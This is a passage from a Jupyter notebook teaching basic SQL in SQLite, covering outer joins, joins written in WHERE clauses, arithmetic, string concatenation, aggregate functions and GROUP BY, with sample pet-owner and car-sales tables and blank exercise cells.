<th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 42, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(left_join_cheat)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This time, you're seeing everything from the Dog_Table, but only results from the Cat_Table IF the owner also has a dog. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "_______\n", "### **OUTER JOINS or FULL OUTER JOINS:**\n", " SELECT\n", " *\n", " FROM \n", " table_x X\n", " OUTER JOIN table_y Y ON X.column_a = Y.column_a # Returns all rows, regardless of whether values match\n", "- Outer joins include ALL rows from both tables, even if the values on the key columns don't match up. \n", "- SQLite doesn't support this, so the query below is a workaround to show you the visual effect of an outer join\n", "- This provides a great workaround for MySQL: http://stackoverflow.com/questions/4796872/full-outer-join-in-mysql\n", "\n", "For now, this query won't totally make sense, **just pay attention to the results so you can visualize an outer join:** " ] }, { "cell_type": "code", "execution_count": 43, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Owner_Name</th>\n", " <th>Cat_Name</th>\n", " <th>Dog_Name</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0 </th>\n", " <td> Michael Martinez</td>\n", " <td> Mrs. Paws</td>\n", " <td> Chewbacca</td>\n", " </tr>\n", " <tr>\n", " <th>1 </th>\n", " <td> Gilbert Henkel</td>\n", " <td> Mittens</td>\n", " <td> Max</td>\n", " </tr>\n", " <tr>\n", " <th>2 </th>\n", " <td> May Reeves</td>\n", " <td> Clover</td>\n", " <td> Georgie</td>\n", " </tr>\n", " <tr>\n", " <th>3 </th>\n", " <td> Elizabeth Minier</td>\n", " <td> Sweetcakes</td>\n", " <td> Sunny</td>\n", " </tr>\n", " <tr>\n", " <th>4 </th>\n", " <td> Donna Ona</td>\n", " <td> Barnie</td>\n", " <td> Daisy</td>\n", " </tr>\n", " <tr>\n", " <th>5 </th>\n", " <td> Monika Turner</td>\n", " <td> Cara</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>6 </th>\n", " <td> Adrian Hardiman</td>\n", " <td> Annabelle</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>7 </th>\n", " <td> Loyd Mossman</td>\n", " <td> Garfield</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>8 </th>\n", " <td> Heather Emery</td>\n", " <td> Engine</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>9 </th>\n", " <td> Lauren Larson</td>\n", " <td> Midnight</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>10</th>\n", " <td> Daniel Abner</td>\n", " <td> </td>\n", " <td> Jake</td>\n", " </tr>\n", " <tr>\n", " <th>11</th>\n", " <td> Keith Bursey</td>\n", " <td> </td>\n", " <td> Muffin</td>\n", " </tr>\n", " <tr>\n", " <th>12</th>\n", " <td> Jane Garcia</td>\n", " <td> </td>\n", " <td> Admiral</td>\n", " </tr>\n", " <tr>\n", " <th>13</th>\n", " <td> Sarah Flores</td>\n", " <td> </td>\n", " <td> Bogie</td>\n", " </tr>\n", " <tr>\n", " <th>14</th>\n", " <td> David Brace</td>\n", " <td> </td>\n", " <td> Fritz</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Owner_Name Cat_Name Dog_Name\n", "0 Michael Martinez Mrs. Paws Chewbacca\n", "1 Gilbert Henkel Mittens Max\n", "2 May Reeves Clover Georgie\n", "3 Elizabeth Minier Sweetcakes Sunny\n", "4 Donna Ona Barnie Daisy\n", "5 Monika Turner Cara \n", "6 Adrian Hardiman Annabelle \n", "7 Loyd Mossman Garfield \n", "8 Heather Emery Engine \n", "9 Lauren Larson Midnight \n", "10 Daniel Abner Jake\n", "11 Keith Bursey Muffin\n", "12 Jane Garcia Admiral\n", "13 Sarah Flores Bogie\n", "14 David Brace Fritz" ] }, "execution_count": 43, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " C.Owner_Name, \n", " Cat_Name, \n", " Dog_Name\n", " FROM\n", " Cat_Table C \n", " LEFT JOIN Dog_Table D ON D.Owner_Name = C.Owner_Name\n", "\n", " UNION ALL\n", " \n", " SELECT\n", " D.Owner_Name, \n", " ' ', \n", " Dog_Name \n", " FROM\n", " Dog_Table D \n", " WHERE \n", " Owner_Name NOT IN (SELECT Owner_Name from Cat_Table)\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Essentially, in Venn Diagram terms, and outer join lets you see all contents of both circles. This join will let you see all pet owners, regardless of whether the own only a cat or only a dog" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "________\n", "###Using the \"WHERE\" Clause to Join Tables\n", " SELECT\n", " *\n", " FROM\n", " table_x X\n", " JOIN table y Y\n", " WHERE\n", " X.column_a = Y.column_a # tells SQL the key for the join\n", " \n", "- Some people prefer to use the WHERE clause to specify the key for a join\n", "- Fine if the query is short, but SUPER messy when the query is complex\n", "- We won't use this moving forward, but it's good to see it in case you run across someone else's code and you need to make sense of it\n", "\n", "When it's simple, it's not so bad:" ] }, { "cell_type": "code", "execution_count": 44, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>model</th>\n", " <th>revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Tundra</td>\n", " <td> 21222</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Camry</td>\n", " <td> 19140</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Corolla</td>\n", " <td> 14720</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Accord</td>\n", " <td> 19010</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Prius</td>\n", " <td> 22022</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " model revenue\n", "0 Tundra 21222\n", "1 Camry 19140\n", "2 Corolla 14720\n", "3 Accord 19010\n", "4 Prius 22022" ] }, "execution_count": 44, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " C.model, \n", " S.revenue\n", " FROM\n", " sales_table S, car_table C \n", " WHERE\n", " S.model_id = C.model_id\n", " LIMIT 5\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "When the query is longer, this method is messy. Suddenly it's harder to parse out which parts of the \"WHERE\" clause are actual filters, and which parts are just facilitating the join. \n", "\n", "**Note that we've covered all of these clauses and expressions by now, try to parse out what's going on:**" ] }, { "cell_type": "code", "execution_count": 45, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>make</th>\n", " <th>model</th>\n", " <th>revenue</th>\n", " <th>gender</th>\n", " <th>first_name</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Toyota</td>\n", " <td> Camry</td>\n", " <td> 20460</td>\n", " <td> female</td>\n", " <td> Jared</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Subaru</td>\n", " <td> Forester</td>\n", " <td> 17756</td>\n", " <td> female</td>\n", " <td> Joseph</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Subaru</td>\n", " <td> Forester</td>\n", " <td> 17090</td>\n", " <td> female</td>\n", " <td> Claudine</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Subaru</td>\n", " <td> Outback</td>\n", " <td> 19418</td>\n", " <td> female</td>\n", " <td> Claudine</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Toyota</td>\n", " <td> Tundra</td>\n", " <td> 21222</td>\n", " <td> female</td>\n", " <td> Joseph</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " make model revenue gender first_name\n", "0 Toyota Camry 20460 female Jared\n", "1 Subaru Forester 17756 female Joseph\n", "2 Subaru Forester 17090 female Claudine\n", "3 Subaru Outback 19418 female Claudine\n", "4 Toyota Tundra 21222 female Joseph" ] }, "execution_count": 45, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " C.make,\n", " C.model, \n", " S.revenue,\n", " CUST.gender,\n", " SM.first_name\n", " FROM\n", " sales_table S\n", " JOIN car_table C\n", " JOIN salesman_table SM\n", " JOIN cust_table CUST\n", " WHERE\n", " S.customer_id = CUST.customer_id\n", " AND S.model_id = C.model_id\n", " AND S.salesman_id = SM.id\n", " AND (C.model in ('Tundra', 'Camry', 'Corolla') OR C.make = 'Subaru')\n", " AND S.revenue between 17000 and 22000\n", " AND CUST.gender = 'female' \n", " AND SM.first_name NOT IN ('Kathleen', 'Samantha')\n", " LIMIT 5\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "________\n", "__________\n", "________\n", "_______\n", "_______" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# OPERATORS\n", "\n", "### ADDING / SUBSTRACTING / MULTIPLYING / DIVIDING\n", " SELECT\n", " column_a + column_b # adds the values in column_a to the values in columns_b\n", " FROM\n", " table_name\n", " \n", "Use the standard formats for add, subtract, mutiply, and divide: + - * /\n", "\n", "The query below subtracts cogs (from the car_table) from revenue (from the sales_table) to show us the gross_profit per transaction" ] }, { "cell_type": "code", "execution_count": 46, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>id</th>\n", " <th>model</th>\n", " <th>revenue</th>\n", " <th>cogs</th>\n", " <th>gross_profit</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 54858</td>\n", " <td> Tundra</td>\n", " <td> 21222</td>\n", " <td> 15720</td>\n", " <td> 5502</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 43161</td>\n", " <td> Camry</td>\n", " <td> 19140</td>\n", " <td> 13200</td>\n", " <td> 5940</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 40112</td>\n", " <td> Corolla</td>\n", " <td> 14720</td>\n", " <td> 9600</td>\n", " <td> 5120</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 92495</td>\n", " <td> Accord</td>\n", " <td> 19010</td>\n", " <td> 13263</td>\n", " <td> 5747</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 78000</td>\n", " <td> Prius</td>\n", " <td> 22022</td>\n", " <td> 14520</td>\n", " <td> 7502</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " id model revenue cogs gross_profit\n", "0 54858 Tundra 21222 15720 5502\n", "1 43161 Camry 19140 13200 5940\n", "2 40112 Corolla 14720 9600 5120\n", "3 92495 Accord 19010 13263 5747\n", "4 78000 Prius 22022 14520 7502" ] }, "execution_count": 46, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " S.id,\n", " C.model, \n", " S.revenue,\n", " C.cogs,\n", " S.revenue - C.cogs AS gross_profit\n", " FROM\n", " sales_table S \n", " JOIN car_table C on S.model_id = C.model_id\n", " LIMIT 5\n", " ''') " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "** Rewrite the query above to return gross margin instead of gross profit. Rename the alias as well. Limit it to 5 results**" ] }, { "cell_type": "code", "execution_count": 47, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 47, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''') \n", "#print(operator_cheat)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "__________" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### CONCATENATING:" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Concatenating varies by RDBMS:" ] }, { "cell_type": "code", "execution_count": 48, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Microsoft SQL Server</th>\n", " <th>MySQL</th>\n", " <th>Oracle</th>\n", " <th>SQLite</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>Concatenating</th>\n", " <td> CONCAT(column_a, column_b) or +</td>\n", " <td> CONCAT(column_a, column_b)</td>\n", " <td> CONCAT(column_a, column_b) or ||</td>\n", " <td> ||</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Microsoft SQL Server MySQL \\\n", "Concatenating CONCAT(column_a, column_b) or + CONCAT(column_a, column_b) \n", "\n", " Oracle SQLite \n", "Concatenating CONCAT(column_a, column_b) or || || " ] }, "execution_count": 48, "metadata": {}, "output_type": "execute_result" } ], "source": [ "concat_differences" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Here we'll use SQLite and use the concatenating operator || to combine words/values in different columns:" ] }, { "cell_type": "code", "execution_count": 49, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>last_name</th>\n", " <th>first_name</th>\n", " <th>full_name</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Douglas</td>\n", " <td> Samantha</td>\n", " <td> Douglas, Samantha</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Case</td>\n", " <td> Jared</td>\n", " <td> Case, Jared</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Hill</td>\n", " <td> Michael</td>\n", " <td> Hill, Michael</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Hatch</td>\n", " <td> Claudine</td>\n", " <td> Hatch, Claudine</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Seney</td>\n", " <td> Joseph</td>\n", " <td> Seney, Joseph</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> March</td>\n", " <td> Kathleen</td>\n", " <td> March, Kathleen</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> Self</td>\n", " <td> Rosemarie</td>\n", " <td> Self, Rosemarie</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> Avellaneda</td>\n", " <td> Justin</td>\n", " <td> Avellaneda, Justin</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td> Elzy</td>\n", " <td> Elton</td>\n", " <td> Elzy, Elton</td>\n", " </tr>\n", " <tr>\n", " <th>9</th>\n", " <td> Luna</td>\n", " <td> Matthew</td>\n", " <td> Luna, Matthew</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " last_name first_name full_name\n", "0 Douglas Samantha Douglas, Samantha\n", "1 Case Jared Case, Jared\n", "2 Hill Michael Hill, Michael\n", "3 Hatch Claudine Hatch, Claudine\n", "4 Seney Joseph Seney, Joseph\n", "5 March Kathleen March, Kathleen\n", "6 Self Rosemarie Self, Rosemarie\n", "7 Avellaneda Justin Avellaneda, Justin\n", "8 Elzy Elton Elzy, Elton\n", "9 Luna Matthew Luna, Matthew" ] }, "execution_count": 49, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " last_name, \n", " first_name,\n", " last_name || ', ' || first_name AS full_name\n", " FROM\n", " salesman_table\n", " ''') " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "** Use || to pull the make and model from the car_table and make it appear in this format: \"Model (Make)\"**\n", "- **give it an alias to clean up the column header, otherwise it'll look pretty messy**" ] }, { "cell_type": "code", "execution_count": 50, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 50, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''') \n", "#print(concat_cheat)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "________\n", "__________\n", "_______\n", "_______\n", "________" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# FUNCTIONS:\n", "\n", " SELECT\n", " SUM(column_a), # sums up the values in column_a\n", " AVG(column_a), # averages the values in column_a\n", " ROUND(AVG(column_a), 2), # rounds the averaged values in column_a to 2 digits\n", " COUNT(column_a), # counts the number of rows in column_a \n", " MAX(column_a), # returns the maximum value in column_a\n", " MIN(column_a), # returns the minimum value in column_a\n", " GROUP_CONCAT(column_a) # returns a comma separated list of all values in column_a\n", " FROM\n", " table_name\n", "\n", "- Functions can be applied to columns to help analyze data\n", "- You can find more than just these basic few in the link below, or just Google what you're looking to do - there's a lot of help available on forums \n", "- More on functions: http://www.w3schools.com/sql/sql_functions.asp\n", "\n", "The function below will sum up everything in the revenue column. Note that now we only get one row:" ] }, { "cell_type": "code", "execution_count": 51, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Total_Revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 1941252</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Total_Revenue\n", "0 1941252" ] }, "execution_count": 51, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " SUM(revenue) AS Total_Revenue\n", " FROM \n", " sales_table\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "** Rewrite the query to return the average cost of goods for a car in the car table. Try rounding it to cents. **\n", "- If you can't remember the name of the column for cost of goods in the car_table, remember you can use \"SELECT * FROM car_table LIMIT 1\" to see the first row of all columns, or you can use \"PRAGMA TABLE_INFO(car_table)\"" ] }, { "cell_type": "code", "execution_count": 52, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 52, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(avg_cheat)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Using COUNT(*) will return the number of rows in any given table. Rewrite the query to return the number of rows in the car_table:**\n", "- **After you've run the query, try changing it by adding \"WHERE make = 'Subaru'\" and see what happens**" ] }, { "cell_type": "code", "execution_count": 53, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 53, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(count_cheat)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "You can apply functions on top of other operators. Below is the sum of gross profits:" ] }, { "cell_type": "code", "execution_count": 54, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>total_gross_profit</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> $ 596814.0</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " total_gross_profit\n", "0 $ 596814.0" ] }, "execution_count": 54, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " '$ ' || SUM(S.revenue - C.cogs) total_gross_profit\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id \n", " ''') " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "####Write a query to show the average difference between the sticker_price (in car_table) and the revenue.\n", "* If you want a challenge, try to join cust_table and limit the query to only look at transactions where the customer's age is over 35" ] }, { "cell_type": "code", "execution_count": 55, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 55, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''') \n", "#print(avg_cheat2)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "###GROUP_CONCAT\n", " SELECT\n", " GROUP_CONCAT(column_a, '[some character separating items]') \n", " FROM\n", " table_x\n", "\n", "This function is useful to return comma-separated lists of the values in a column" ] }, { "cell_type": "code", "execution_count": 56, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Car_Models</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Camry, Corolla, Prius, Civic, Accord, Outback,...</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Car_Models\n", "0 Camry, Corolla, Prius, Civic, Accord, Outback,..." ] }, "execution_count": 56, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT \n", " GROUP_CONCAT(model, ', ') as Car_Models\n", " FROM\n", " car_table\n", " ''') " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Use GROUP_CONCAT to return a comma-separated list of last names from the salesman_table:" ] }, { "cell_type": "code", "execution_count": 57, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 57, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", "''')\n", "#print(concat_cheat)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "__________\n", "__________\n", "__________\n", "__________\n", "__________\n", "# GROUP BY:\n", " SELECT\n", " column_a, \n", " SUM(column_b) # sums up the values in column_b\n", " FROM\n", " table_name\n", " GROUP BY # creates one group for each unique value in column_a\n", " column_a\n", "\n", "\n", "- Creates a group for each unique value in the column you specify\n", "- Extremely helpful when you're using functions - it segments out results\n", "- More on GROUP BY: http://www.w3schools.com/sql/sql_groupby.asp\n", "\n", "The query below creates a group for each unique value in the car_table's model column, then sums up the revenue for each group. Note that you can use an alias in the GROUP BY clause." ] }, { "cell_type": "code", "execution_count": 58, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Car_Model</th>\n", " <th>Total_Revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Accord</td>\n", " <td> 234748</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Camry</td>\n", " <td> 212080</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Civic</td>\n", " <td> 157886</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Corolla</td>\n", " <td> 154880</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Forester</td>\n", " <td> 201083</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> Outback</td>\n", " <td> 317406</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> Prius</td>\n", " <td> 297418</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> Tundra</td>\n", " <td> 365751</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Car_Model Total_Revenue\n", "0 Accord 234748\n", "1 Camry 212080\n", "2 Civic 157886\n", "3 Corolla 154880\n", "4 Forester 201083\n", "5 Outback 317406\n", "6 Prius 297418\n", "7 Tundra 365751" ] }, "execution_count": 58, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " C.model AS Car_Model, \n", " SUM(revenue) AS Total_Revenue\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id\n", " GROUP BY\n", " Car_Model\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Rewrite the query above to return the average gross profit (revenue - cogs) per make (remember that \"make\" is in the car_table)**\n", "\n", "**Extra things to try:**\n", "- **Round average revenue to two decimal points**\n", "- **Order the results by gross profit in descending order**\n", "- **Rename the make column as \"Car_Maker\" and use the alias in the GROUP BY clause**\n", "- **Rename gross profit column as \"Avg_Gross_Profit\" and use the alias in the ORDER BY clause**\n", "- **Join the salesman_table and filter results to only look at revenue where first_name is Michael**\n", " - **After you've gotten the query to run with all of these adjustments, think about the risks involved with adding something in the WHERE clause that doesn't show up in the SELECT clause. Think about a potential solution to these risks.**" ] }, { "cell_type": "code", "execution_count": 59, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 59, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(group_cheat)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Write a query to make a comma-separated list of models for each car maker:**" ] }, { "cell_type": "code", "execution_count": 60, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 60, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(group_cheat1)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "GROUP BY, when used with joins 